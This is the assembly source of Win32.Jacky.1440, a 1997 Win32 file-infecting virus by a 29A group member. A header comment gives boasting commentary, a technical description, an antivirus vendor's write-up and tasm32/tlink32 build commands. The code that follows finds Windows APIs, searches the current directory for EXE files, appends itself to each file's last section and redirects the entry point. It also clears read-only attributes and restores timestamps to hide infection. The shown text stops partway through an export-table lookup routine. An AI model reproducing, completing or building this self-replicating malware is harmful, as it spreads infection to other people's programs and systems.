;
;                                                  ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
;          Win32.Jacky.1440                        ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
;          by Jacky Qwerty/29A                      ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
;                                                  ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
;                                                  ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Hello ppl, welcome  to the first "Winblowz" 95/NT  fully compatible virus.
; Yea i didnt mistype above, it reads  "Win32" not "Win95" coz  this babe is
; really  a "genuine" Win32 virus, which  means it should  be able to infect
; any Win32 based system:  Windoze 95, Windoze NT or Win32s.  For some known
; reasonz that i wont delve in detail here, previous Win95 virusez were una-
; ble to spread succesfully under NT.  The main reasonz were becoz they asu-
; med KERNEL32 bein  loaded at a fixed  base adress (not true for NT or even
; future  Win95 updatez)  and they also made a "guess" about where the Win32
; API functionz were located inside the KERNEL32 itself.
;
; This virus does NOT rely on fixed memory positionz or absolute adressez in
; order to run and spread. It always works at the Win32 API level, not play-
; in its trickz "under the hood". This proves enough for the virus to spread
; succesfully on NT, asumin the user has enough rightz, of course.
;
; Unfortunately, this virus didnt  make it as the first Windoze NT virus for
; the media.  AVerz said they  didnt have an NT machine  available for virus
; testin, so they simply didnt test it under NT.  Well ehem, thats what they
; said #8S. In the past summer however i finished the codin of Win32.Cabanas
; which is a far superior virus with much more featurez than its predecesor.
; This time, the guyz from Datafellowz and AVP made serious testz with Caba-
; nas under NT until they finally concluded: "Oh miracle! it is able to work
; under NT!".  So acordin to the media, Win32.Cabanas is the first WinNT vi-
; rus and not Win32.Jacky as it should have been. Anywayz..
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When Win32.Jacky executes,  it first looks  for KERNEL32  base adress usin
; the GetModuleHandleA API right from the host  import table and then it re-
; trieves all other file API function adressez by usin the GetProcAdress API
; also from the import table.  These APIz are not inserted by the virus when
; infection, they are only used if they already existed there (very likely),
; but this is not a "must do" for the virus to work tho. After all Win32 API
; functionz needed by the virus have been located, it looks for PE (EXE) fi-
; lez in the current directory and infects them one by one.
;
; When infection starts,  each EXE file is opened and maped in shared memory
; usin the  "file mapin" API functionz provided by KERNEL32.  This proves to
; be a great advance  regardin  file functionz as it clearly simplifies to a
; large extent the infection process and file handlin in general.  After the
; PE signature is detected from  the maped file,  the virus inspects its im-
; port table lookin  for the GetModuleHandleA and GetProcAddress APIz inside
; the KERNEL32  import descriptor.  If this module is not imported, the file
; is left  alone and discarded.  If the GetProcAddress API is not found, the
; virus  (later on  when it executes)  will call its own internal GetProcAd-
; dressET function,  which simply inspects  the KERNEL32 export table lookin
; for any specified Win32 API function. If GetModuleHandleA is not found the
; file will still get infected but then the virus, in order to find the KER-
; NEL32 base adress, will be relyin on a smoewhat undocumented feature (che-
; cked before use). This feature is very simple: whenever a PE file with un-
; bound KERNEL32 function adressez is loaded, the Win95 loader puts the KER-
; NEL32 adress in  the  ForwarderChain field of the KERNEL32 import descrip-
; tor. This also works in Win95 OSR2 version but  doesnt  work on WinNT tho,
; so it should be used with some care after makin some sanity checkz first.
;
; If the GetModuleHandleA and GetProcAddrss  APIz are found,  the virus will
; hardcode  their IAT referencez  inside the virus code,  then later on when
; the virus executes, it will have these API referencez already waitin to be
; called by the installation code. After the latter  API search is done, the
; virus copies itself to the last section in the file,  modifies the section
; atributez to acomodate the virus code  and finally  changes the EntryPoint
; field in the PE header to point to the virus code. The virus doesnt change
; or modify  the time/date stamp  of infected filez  nor it is stoped by the
; "read only" atribute.
;
;
; AVP description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Before jumpin to the  source code, lets read what AVP has to say about the
; virus. Unfortunately as u will see they didnt test the thing on NT, other-
; wise they would have had a big surprise with it hehe #8D
;
; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm *
;
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
; It is a harmless nonmemory resident parasitic Win95/NT virus 1440
; bytes of length. Being executed the virus scans Win95/NT kernel and
; gets undocumented addresses of system file access function (see the
; list below).  Then it searches for NewEXE Portable Executable
; (Win95 and NT) files and writes itself to the end of the file. The
; virus aligns the file length to the section, so the file lengths
; grows more that 1440 bytes while infection.
;
; This is the first known Win95/NT parasitic virus that does not add
; new section to the file - while infecting a file the virus writes
; itself to the end of the file, increases the size of last section
; in the file, and modifies characteristics of this section.  So,
; only entry point address, size and characteristics of last section
; are modified in infected files.
;
; This is also first known to me Win95/NT infector that did work on
; my test computer (Windows95) without any problem. I did not try it
; under NT.
;
; The virus contains the encrypted strings, a part of these strings
; are the names of system functions that are used during infection:
;
;   KERNEL32 GetModuleHandleA GetProcAddress
;   *.EXE
;   CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile
;   MapViewOfFile FindFirstFileA FindNextFileA FindClose
;   SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime
;
;   To My d34d fRi3nD c4b4n4s..
;   A Win/NT/95 ViRuS v1.00.
;   By: j4cKy Qw3rTy / 29A.
;   jqw3rty@cryogen.com
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetinz go to:
;
;   Mr.Chan, Wai ......... Thx for your help and advice.. master!
;   MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;)
;   QuantumG ............. What about yer NT resident driver idea?
;   DarkSide1 ............ We are Southamerican rockerzzz!
;   GriYo/29A ............ Implant poly rulez!
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only.  The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn w32jacky.asm
; tlink32 -Tpe -c -x -aa w32jacky,,, import32
; pewrsec w32jacky.exe
;
;
; (c) 1997 Jacky Qwerty/29A.


.386p
.model  flat    ;whoaa.. no more segmentz

;Some includez containin very useful structurez and constantz for Win32

include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc

;Some equ's needed by the virus

work_size        equ 4000h           ;size to grow up memory maped file
size_pad         equ 101             ;size paddin to mark infected filez
v_size           equ v_end - v_start ;virus absolute size in filez

extrn   GetModuleHandleA :proc  ;APIs used durin first generation only
extrn   GetProcAddress   :proc

.data
        db      ?       ;some dummy data so tlink32 dont yell

.code

;Virus code starts here

v_start:

        push    eax             ;make space to store return adress
        pushad                  ;save all
        call    get_deltaz      ;here we go

;API namez needed by the virus. They will travel in encrypted form

ve_stringz:

veszKernel32            db      'KERNEL32',0
veszGetModuleHandleA    db      'GetModuleHandleA',0
veszGetProcAddress      db      'GetProcAddress',0

eEXE_filez              db      '*.EXE',0       ;filez to search

veszCreateFileA         db      'CreateFileA',0
veszCreateFileMappingA  db      'CreateFileMappingA',0
veszCloseHandle         db      'CloseHandle',0
veszUnmapViewOfFile     db      'UnmapViewOfFile',0
veszMapViewOfFile       db      'MapViewOfFile',0
veszFindFirstFileA      db      'FindFirstFileA',0
veszFindNextFileA       db      'FindNextFileA',0
veszFindClose           db      'FindClose',0
veszSetFileAttributesA  db      'SetFileAttributesA',0
veszSetFilePointer      db      'SetFilePointer',0
veszSetEndOfFile        db      'SetEndOfFile',0
veszSetFileTime         db      'SetFileTime',0

eEndOfFunctionNames     db      0

;An epitaph to a good friend of mine (not a "junkie" Pete)

db 'To My d34d fRi3nD c4b4n4s..',CRLF
db 'A Win/NT/95 ViRuS v1.00. ',CRLF
db 'By: j4cKy Qw3rTy / 29A. ',CRLF 
db 'jqw3rty@cryogen.com',0

ve_string_size  = $ - ve_stringz

crypt:  lodsb                           ;decrypt API stringz
        rol     al,cl
        not     al
        stosb
        loop    crypt
        ret

get_deltaz:

        mov     ecx,ve_string_size
        pop     esi                              ;get pointer to ve_stringz
        cld
        lea     ebp,[esi + v_end - ve_stringz]   ;get pointer to virus end
        lea     eax,[esi + v_start - ve_stringz]
        mov     edi,ebp
        stosd                                    ;save pointer to virus start
        add     eax,- 12345678h
delta_host      = dword ptr $ - 4
        stosd                                    ;save current host base adress
        lea     edi,[ebp + v_stringz - v_end]    ;get pointer to API namez
        sub     eax,- 12345678h
phost_start_rva = dword ptr $ - 4
        push    edi                        ;push pointer to "KERNEL32" string
        xchg    ebx,eax
        mov     [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return

decrypt_stringz:

        call    crypt                      ;decrypt encrypted API and stringz
        call    MyGetModuleHandleA         ;get KERNEL32 base adress
        jecxz   jmp_host_2
        mov     [ebp + K32Mod - v_end],ecx ;save it
        lea     esi,[ebp + FunctionNamez - v_end]
        lea     edi,[ebp + FunctionAddressez - v_end]

GetAPIAddress:  ;get adressez of API functionz used by the virus

        push    esi
        call    MyGetProcAddressK32     ;get API adress

jmp_host_2:

        jecxz   jmp_host
        cld
        xchg    eax,ecx
        stosd                           ;save retrieved API adress
        lodsb                           ;point to next API name
        test    al,al
        jnz     $ - 3
        cmp     al,[esi]                ;end of API namez reached?
        jnz     GetAPIAddress           ;no, get next API adress

        lea     ebx,[ebp + FindData - v_end]     ;Find filez matchin *.EXE
        push    ebx
        lea     eax,[ebp + EXE_filez - v_end]
        push    eax
        call    [ebp + ddFindFirstFileA - v_end] ;call FindFirstFileA API
        inc     eax
        jz      jmp_host
        dec     eax
        push    eax                              ;save search handle

Process_File:   ;check file and infect it

        lea     edx,[ebx.WFD_szFileName]
        call    Open&MapFile                    ;open and map file
        jecxz   Find_Next
        xor     eax,eax
        cmp     [ebx.WFD_nFileSizeHigh],eax     ;skip filez too large (>1GB)
        jnz     Close_File
        add     eax,[ebx.WFD_nFileSizeLow]
        js      Close_File
        add     eax,-80h                        ;skip filez too short
        jnc     Close_File
        call    Check_PE_sign                   ;it has to be a PE file
        jnz     Close_File
        test    ah,IMAGE_FILE_DLL shr 8         ;can't have DLL bit
        jnz     Close_File
        xor     ecx,ecx
        mov     eax,[ebx.WFD_nFileSizeLow]      ;check if file is infected
        mov     cl,size_pad
        cdq
        div     ecx
        mov     esi,edx ;esi == 0, file already infected or not infectable
                        ;esi != 0, file not infected, i.e. infect it!
Close_File:

        call    Close&UnmapFile                 ;close and unmap file
        mov     ecx,esi
        jecxz   Find_Next                       ;jump and find next file
        call    Infect                          ;infect file

Find_Next:

        pop     eax                             ;find next file
        push    eax ebx eax
        call    [ebp + ddFindNextFileA - v_end]
        test    eax,eax
        jnz     Process_File

Find_Close:

        call    [ebp + ddFindClose - v_end]     ;no more filez, close search

jmp_host:

        popad                                   ;jump to host
        ret

Infect  proc    ;blank file attributez, open and map file in r/w mode,
                ;infect it, restore date/time stamp and attributez

        lea     edx,[ebx.WFD_szFileName]        ;get filename
        push    edx 0 edx
        call    [ebp + ddSetFileAttributesA - v_end]    ;blank file attributez
        xchg    ecx,eax
        pop     edx
        jecxz   end_Infect1
        mov     edi,work_size
        add     edi,[ebx.WFD_nFileSizeLow]
        call    Open&MapFileAdj         ;open and map file in read/write mode
        jecxz   end_Infect2
        lea     esi,[ebp + vszKernel32 - v_end]
        lea     eax,[ebp + vszGetModuleHandleA - v_end]
        push    eax esi
        lea     eax,[ebp + vszGetProcAddress - v_end]
        push    eax esi ecx
        call    GetProcAddressIT        ;get ptr to GetProcAddress API
        mov     [ebp + ddGetProcAddress - v_end],eax
        push    ecx
        xor     esi,esi
        call    GetProcAddressIT        ;get ptr to GetModuleHandleA API
        mov     [ebp + ddGetModuleHandleA - v_end],eax
        test    eax,eax
        jnz     GetModHandle_found      ;if GetModuleHandleA found,
        test    esi,esi                 ;jump and attach virus
        jz      end_Infect3             ;KERNEL32 import descriptor not found,
                                        ;then dont infect

        x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

        ;GetModuleHandleA not found

        cmp     [esi.ID_TimeDateStamp - x],eax  ;check if we can rely on
        jz      got_easy                        ;the ForwarderChain trick
        cmp     eax,[esi.ID_OriginalFirstThunk - x]
        jz      end_Infect3
        mov     [esi.ID_TimeDateStamp - x],eax
        
got_easy:

        mov     eax,[esi.ID_ForwarderChain - x]       ;hardcode pointerz to
        mov     [ebp + ptrForwarderChain - v_end],edx ;the ForwarderChain
        mov     [ebp + ddForwarderChain - v_end],eax  ;field

GetModHandle_found:

        mov     esi,[ebp + pv_start - v_end]
        call    Attach                          ;attach virus to host
end_Infect3:

        call    Close&UnmapFileAdj              ;close and unmap file

end_Infect2:

        mov     ecx,[ebx.WFD_dwFileAttributes]  ;restore original atribute
        jecxz   end_Infect1
        lea     edx,[ebx.WFD_szFileName]
        push    ecx edx
        call    [ebp + ddSetFileAttributesA - v_end]

end_Infect1:

        ret

Infect  endp

Check_PE_sign   proc   ;checks validity of a PE file
                       ;  on entry: EDX = host file size
                       ;            ECX = base address of memory-maped file
                       ;            EBX = pointer to WIN32_FIND_DATA structure
                       ;            EAX = host file size - 80h
                       ;  on exit:  Zero flag = 1, infectable PE file
                       ;            Zero flag = 0, not infectable file

        cmp     word ptr [ecx],IMAGE_DOS_SIGNATURE      ;needs MZ signature
        jnz     end_check_PE_sign
        cmp     word ptr [ecx.MZ_lfarlc],40h            ;needs Win signature
        jb      end_check_PE_sign                       ;(well not necesarily)
        mov     edi,[ecx.MZ_lfanew]     ;get ptr to new exe format
        cmp     eax,edi                 ;ptr out of range?
        jb      end_check_PE_sign
        add     edi,ecx
        cmp     dword ptr [edi],IMAGE_NT_SIGNATURE      ;check PE signature
        jnz     end_check_PE_sign
        cmp     word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+
                IMAGE_FILE_MACHINE_I386
        jnz     end_check_PE_sign
        mov     eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
        not     al
        test    al,IMAGE_FILE_EXECUTABLE_IMAGE  ;must have the executable bit

end_check_PE_sign:

        ret

Check_PE_sign   endp

Open&MapFile    proc    ;open and map file in read only mode
                        ;  on entry:
                        ;    EDX = pszFileName (pointer to file name)
                        ;  on exit:
                        ;    ECX = 0, if error
                        ;    ECX = base adress of memory-maped file, if ok

                xor     edi,edi

Open&MapFileAdj:        ;open and map file in read/write mode
                        ;  on entry:
                        ;    EDI = file size + work space (in bytes)
                        ;    EDX = pszFileName (pointer to file name)
                        ;  on exit:
                        ;    ECX = 0, if error
                        ;    ECX = base adress of memory-maped file, if ok
                        ;    EDI = old file size

                xor     eax,eax
                push    eax eax OPEN_EXISTING eax eax
                mov     al,1
                ror     eax,1
                mov     ecx,edi
                jecxz   $+4
                rcr     eax,1
                push    eax edx
                call    [ebp + ddCreateFileA - v_end]   ;open file
                cdq
                inc     eax
                jz      end_Open&MapFile
                dec     eax
                push    eax                     ;push first handle

                xor     esi,esi
                push    edx edi edx
                mov     dl,PAGE_READONLY
                mov     ecx,edi
                jecxz   $+4
                shl     dl,1
                push    edx esi eax
                call    [ebp + ddCreateFileMappingA - v_end]    ;create file
                cdq                                             ;mapping
                xchg    ecx,eax
                jecxz   end_Open&MapFile2
                push    ecx                     ;push second handle

                push    edi edx edx
                mov     dl,FILE_MAP_READ
                test    edi,edi
                jz      OMF_RdOnly
                shr     dl,1
                mov     edi,[ebx.WFD_nFileSizeLow]
OMF_RdOnly:     push    edx ecx
                call    [ebp + ddMapViewOfFile - v_end] ;map view of file
                xchg    ecx,eax
                jecxz   end_Open&MapFile3
                push    ecx                     ;push base address of
                                                ;memory-mapped file
                jmp     [esp.(3*Pshd).RetAddr]  ;jump to return adress leavin
                                                ;parameterz in the stack
Open&MapFile    endp

Close&UnmapFile proc    ;close and unmap file previosly opened in r/o mode

                xor     edi,edi

Close&UnmapFileAdj:     ;close and unmap file previosly opened in r/w mode

                pop     eax                               ;return adress
                mov     [esp.(3*Pshd).RetAddr],eax
                call    [ebp + ddUnmapViewOfFile - v_end] ;unmap view of file

end_Open&MapFile3:

                call    [ebp + ddCloseHandle - v_end]   ;close handle
                mov     ecx,edi
                jecxz   end_Open&MapFile2       ;if read only mode jump
                pop     eax
                push    eax eax
                xor     esi,esi
                push    esi esi edi eax
                xchg    edi,eax
                call    [ebp + ddSetFilePointer - v_end] ;move file pointer to
                                                         ;the real end of file
                call    [ebp + ddSetEndOfFile - v_end]   ;truncate file at
                lea     eax,[ebx.WFD_ftLastWriteTime]    ;real end of file
                push    eax esi esi edi
                call    [ebp + ddSetFileTime - v_end]    ;restore original
                                                         ;date/time stamp
end_Open&MapFile2:

                call    [ebp + ddCloseHandle - v_end]    ;close handle

end_Open&MapFile:

                xor     ecx,ecx
                ret

Close&UnmapFile endp

Attach  proc    ;attach virus code to last section in the PE file and
                ;  change section characteristicz to reflect infection
                ;on entry:
                ;  ECX = base of memory-maped file
                ;  ESI = pointer to start of virus code
                ;on exit:
                ;  EDI = new file size
        pushad
        push    ecx
        mov     ebp,ecx                 ;get base adress
        add     ebp,[ebp.MZ_lfanew]     ;get PE header base
        movzx   ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections
                          .FH_NumberOfSections]
        xor     eax,eax
        movzx   edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header
                          .FH_SizeOfOptionalHeader]
        x = IMAGE_SIZEOF_SECTION_HEADER
        mov     al,x
        mul     ecx                     ;get last section header
        pop     edx
        jecxz   end_Attach2
        add     edi,eax
        lea     ebx,[ebp.NT_OptionalHeader + edi]
        mov     ecx,[ebx.SH_SizeOfRawData - x]
        mov     eax,[ebx.SH_VirtualSize - x]
        cmp     ecx,eax                 
        jnc     $+3
        xchg    eax,ecx
        add     edx,[ebx.SH_PointerToRawData - x]
        sub     eax,-3
        mov     ecx,(v_size + 3)/4
        and     al,-4
        lea     edi,[eax+edx]   ;find pointer in last section where virus
        cld                     ;will be copied
        rep     movsd           ;copy virus
        add     eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point
        mov     ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA

end_Attach2:

        jecxz   end_Attach
        push    eax             ;virus entry point
        lea     esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \
        and     (-4))]
        neg     eax
        sub     edi,edx
        mov     [esi + delta_host - phost_start_rva],eax ;harcode delta to
        lea     eax,[ecx+edi-1]                          ;host base adress
        cdq     ;edx=0
        sub     edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint]
        mov     [esi],edx       ;hardcode delta to original entry point RVA
        cdq     ;edx=0
        div     ecx
        pop     esi             ;virus entry point
        mul     ecx             ;calculate new size of section (raw data)
        xchg    eax,edi
        mov     ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment]
        add     eax,(virtual_end - v_end + 3) and (-4)
        jecxz   end_Attach
        cmp     [ebx.SH_VirtualSize - x],eax
        jnc     n_vir
        mov     [ebx.SH_VirtualSize - x],eax  ;store new size of section (RVA)
 n_vir: dec     eax
        mov     [ebx.SH_SizeOfRawData - x],edi ;store new size of section
        add     eax,ecx                        ;(raw data)
        div     ecx
        mul     ecx
        add     eax,[ebx.SH_VirtualAddress - x]
        cmp     [ebp.NT_OptionalHeader.OH_SizeOfImage],eax
        jnc     n_img
        mov     [ebp.NT_OptionalHeader.OH_SizeOfImage],eax   ;store new size
                                                             ;of image (RVA)
 n_img: add     edi,[ebx.SH_PointerToRawData - x]       ;get new file size
        sub     ecx,ecx
        or      byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change
                ;       (IMAGE_SCN_MEM_EXECUTE or \     ;section characte-
                ;        IMAGE_SCN_MEM_READ    or \     ;risticz to: execute,
                ;        IMAGE_SCN_MEM_WRITE) shr 12    ;read & write access
        pop     eax             ;get original file size
        mov     cl,size_pad
        cdq     ; edx=0
        cmp     edi,eax         ;compare it with new file size
        jc      $+3
        xchg    edi,eax         ;take the greater
        sub     eax,1 - size_pad
        div     ecx
        mul     ecx             ;grow file size to a multiple of size_pad
        push    eax
        mov     [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi  ;change
                                                               ;entry point
end_Attach:

        popad
        ret

Attach  endp

GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
                      ; (the object inspected is in raw form, ie memory-maped)
                      ;on entry:
                      ;  TOS+0Ch (Arg3): API function name
                      ;  TOS+08h (Arg2): module name
                      ;  TOS+04h (Arg1): base adress of memory-maped file
                      ;  TOS+00h (return adress)
                      ;on exit:
                      ;  EAX = RVA pointer to IAT entry
                      ;  EAX = 0, if not found
        pushad
        mov     ebp,[esp.cPushad.Arg1]  ;get Module Handle from Arg1
        lea     esi,[ebp.MZ_lfanew]
        add     esi,[esi]               ;get address of PE header + MZ_lfanew
        mov     ecx,[esi.NT_OptionalHeader    \ ;get size of import directory
                        .OH_DirectoryEntries  \
                        .DE_Import            \
                        .DD_Size              \
                        -MZ_lfanew]
        jecxz   End_GetProcAddressIT2   ;if size is zero, no API imported!
        movzx   ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz
                          .FH_NumberOfSections  \
                          -MZ_lfanew]
        jecxz   End_GetProcAddressIT2
        movzx   ebx,word ptr [esi.NT_FileHeader     \ ;get 1st section header
                          .FH_SizeOfOptionalHeader  \
                          -MZ_lfanew]
        lea     ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
        x = IMAGE_SIZEOF_SECTION_HEADER

match_virtual:  ;find section containin the import table. (not necesarily
                ;its in the .idata section!)

        mov     edi,[esi.NT_OptionalHeader    \ ;get address of import table
                        .OH_DirectoryEntries  \
                        .DE_Import            \
                        .DD_VirtualAddress    \
                        -MZ_lfanew]
        mov     edx,[ebx.SH_VirtualAddress]     ;get RVA start pointer of
        sub     edi,edx                         ;current section
        add     ebx,x
        cmp     edi,[ebx.SH_VirtualSize - x]    ;address of import table
                                                ;inside current section?
        jb      import_section_found            ;yea, we found it
        loop    match_virtual                   ;no, try next section
        jmp     End_GetProcAddressIT            ;no more sectionz, shit.. go

import_section_found:

        push    edi
        mov     eax,[ebx.SH_SizeOfRawData - x]
        mov     ebx,[ebx.SH_PointerToRawData - x]
        xchg    ebp,eax         ;get RAW size of import section (EBP)
        add     ebx,eax         ;get RAW start of import section (EBX)
        cld
        x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

Get_DLL_Name:   ;scan each import descriptor inside import section to match
                ;module name specified

        pop     esi                     ;diference (if any) between start
                                        ;of imp.table and start of imp.section
        mov     ecx,[ebx.esi.ID_Name]   ;get RVA pointer to imp.module name

End_GetProcAddressIT2:

        jecxz   End_GetProcAddressIT    ;end of import descriptorz?
        sub     ecx,edx                 ;convert RVA pointer to RAW
        cmp     ecx,ebp                 ;check if it points inside section
        jae     End_GetProcAddressIT
        add     esi,x
        push    esi                     ;save next import descriptor for later
        lea     esi,[ebx + ecx]         ;retrieval
        mov     edi,[esp.(Pshd).cPushad.Arg2]   ;get module name specified
                                                ;from Arg2
Next_char_from_DLL:     ;do a char by char comparison with module name found
                        ;inside section. Stop when a NULL or a dot is found
        lodsb
        add     al,-'.'
        jz      IT_nup          ;its a dot
        sub     al,-'.'+'a'
        cmp     al, 'z'-'a'+ 1
        jae     no_up
        add     al,-20h         ;convert to upercase
no_up:  sub     al,-'a'
IT_nup: scasb
        jnz     Get_DLL_Name    ;names dont match, get next import descriptor
        cmp     byte ptr [edi-1],0
        jnz     Next_char_from_DLL

Found_DLL_name: ;we got the import descriptor containin specified module name

        pop     esi
        lea     eax,[edx + esi.ID_ForwarderChain - x]
        add     esi,ebx
        mov     [esp.Pushad_edx],eax    ;store ptr to ForwarderChain for l8r
        mov     [esp.Pushad_esi],esi    ;store ptr to imp.descriptor for l8r
        push    dword ptr [esp.cPushad.Arg3]
        mov     eax,[esp.(Pshd).Pushad_ebp]
        push    dword ptr [eax + K32Mod - v_end]
        call    GetProcAddressET        ;scan exp.table of spec.module handle
        xchg    eax,ecx                 ;and get function adress of spec.API
        mov     ecx,[esi.ID_FirstThunk - x]  ;This is needed just in case the
                                             ;API function adressez are bound
        jecxz   End_GetProcAddressIT    ;if not found then go, this value cant
                                        ;be zero or the IAT wont be patched
        push    eax
        call    GetProcAddrIAT          ;inspect first thunk (which later will
        test    eax,eax                 ;be patched by the loader)
        jnz     IAT_found               ;if found then jump (save it and go)
        mov     ecx,[esi.ID_OriginalFirstThunk - x]     ;get original thunk
                                        ;(which later will hold the original
                                        ;unpatched IAT)
        jecxz   End_GetProcAddressIT    ;if not found then go, this value
        push    eax                     ;could be zero
        call    GetProcAddrIAT          ;inspect original thunk
        test    eax,eax
        jz      IAT_found               ;jump if not found
        sub     eax,ecx                         ;we got the pointer
        add     eax,[esi.ID_FirstThunk - x]     ;convert it to RVA
        db      6Bh,33h,0C0h    ;imul   esi,[ebx],-0C0h ;bizarre! but no jump
        org     $ - 2                                   ;necesary!

End_GetProcAddressIT:

        db      33h,0C0h ;xor eax,eax   ;error, adress not found

IAT_found:

        mov     [esp.Pushad_eax],eax    ;save IAT entry pointer
        popad
        ret     (3*Pshd)                ;go and unwind parameterz in stack

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"
                ;  from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
                ;  the selected API name. This function works for both
                ;  bound and unbound import descriptorz. This function is
                ;  called from inside GetProcAddressIT.
                ;on entry:
                ;  EBX = RAW start pointer of import section
                ;  ECX = RVA pointer to IMAGE_THUNK_ARRAY
                ;  EDX = RVA start pointer of import section
                ;  EDI = pointer selected API function name.
                ;  EBP = RAW size of import section
                ;  TOS+04h (Arg1): real address of API function inside selected
                ;                  module (in case the descriptor is unbound).
                ;  TOS+00h (return adress)
                ;on exit:
                ;  EAX = RVA pointer to IAT entry
                ;  EAX = 0, if not found

        push    ecx
        push    esi

        xor     eax,eax
        sub     ecx,edx
        cmp     ecx,ebp
        jae     IT_not_found
        lea     esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword:

        lodsd                   ;get dword value
        test    eax,eax         ;end of IMAGE_THUNK_DATA array?
        jz      IT_not_found

no_ordinal:

        sub     eax,edx         ;convert dword to a RAW pointer
        cmp     eax,ebp         ;dword belongs to an unbound image descriptor?
        jb      IT_search       ;no, jump
        add     eax,edx         ;we have the API adress, reconvert to RVA
        cmp     eax,[esp.(2*Pshd).Arg1] ;API adressez match?
        jmp     IT_found?               ;yea, we found it, jump

IT_search:

        push    esi                     ;image descr.contains imports by name
        lea     esi,[ebx+eax.IBN_Name]  ;get API name from import descriptor
        mov     edi,[esp.(5*Pshd).cPushad.Arg3] ;get API name selected as a
                                                ;parameter
IT_next_char:
                                ;find req.API from all imported API namez
        cmpsb                   ;do APIz match?
        jnz     IT_new_search   ;no, continue searchin

IT_Matched_char:

        cmp     byte ptr [esi-1],0
        jnz     IT_next_char

IT_new_search:

        pop     esi             ;yea, they match, we found it
        
IT_found?:

        jnz     next_thunk_dword
        lea     eax,[edx+esi-4] ;get the pointer to the new IAT entry
        sub     eax,ebx         ;convert it to RVA

IT_not_found:

        pop     esi
        pop     ecx

        ret     (Pshd)

GetProcAddressIT endp

GetProcAddressET proc ;This function is similar to GetProcAddressIT except
                      ;  that it looks for API functions in the export table
                      ;  of a given DLL module. It has the same functionality
                      ;  as the original GetProcAddress API exported from
                      ;  KERNEL32 except that it is able to find API
                      ;  functions exported by ordinal from KERNEL32.
                      ;on entry:
                      ;  TOS+08h (Arg2): pszAPIname (pointer to API name)
                      ;  TOS+04h (Arg1): module handle/base address of module
                      ;  TOS+00h (return adress)
                      ;on exit:
                      ;  ECX = API function address
                      ;  ECX = 0, if not found
        pushad
        mov     eax,[esp.cPushad.Arg1]  ;get Module Handle from Arg1
        mov     ebx,eax
        add     eax,[eax.MZ_lfanew]     ;get address of PE header
        mov     ecx,[eax.NT_OptionalHeader    \ ;get size of Export directory
                        .OH_DirectoryEntries  \
                        .DE_Export            \
                        .DD_Size]
        jecxz   Proc_Address_not_found  ;size is zero, No API exported !
        mov     ebp,ebx                       ;get address of Export directory
        add     ebp,[eax.NT_OptionalHeader    \
                        .OH_DirectoryEntries  \
                        .DE_Export            \
                        .DD_VirtualAddress]
ifndef  NoOrdinal
        mov     eax,[esp.cPushad.Arg2]  ;get address of requested API name or
                                        ;ordinal value from Arg2
        test    eax,-10000h             ;check if Arg2 is an ordinal
        jz      Its_API_ordinal
endif

Its_API_name:

        push    ecx
        mov     edx,ebx                     ;get address of exported API names
        add     edx,[ebp.ED_AddressOfNames]
        mov     ecx,[ebp.ED_NumberOfNames]  ;get number of exported API names
        xor     eax,eax
        cld

Search_for_API_name:

        mov     esi,ebx                 ;get address of next exported API name
        add     esi,[edx+eax*4]
        mov     edi,[esp.Pshd.cPushad.Arg2] ;get address of requested API name
                                            ;from Arg2
Next_Char_in_API_name:

        cmpsb                               ;find requested API from all
        jz      Matched_char_in_API_name    ;exported API namez
        inc     eax
        loop    Search_for_API_name
        pop     eax

Proc_Address_not_found:

        xor     eax,eax                   ;API not found
        jmp     End_GetProcAddressET
                
ifndef  NoOrdinal

Its_API_ordinal:

        sub     eax,[ebp.ED_BaseOrdinal]  ;normalize Ordinal, i.e.
        jmp     Check_Index               ;convert it to an index
endif

Matched_char_in_API_name:

        cmp     byte ptr [esi-1],0        ;end of API name reached?
        jnz     Next_Char_in_API_name
        pop     ecx
        mov     edx,ebx                   ;get address of exp.API ordinals
        add     edx,[ebp.ED_AddressOfOrdinals]
        movzx   eax,word ptr [edx+eax*2]  ;get index into exp.API functions

Check_Index:

        cmp     eax,[ebp.ED_NumberOfFunctions]  ;check for out of range index
        jae     Proc_Address_not_found
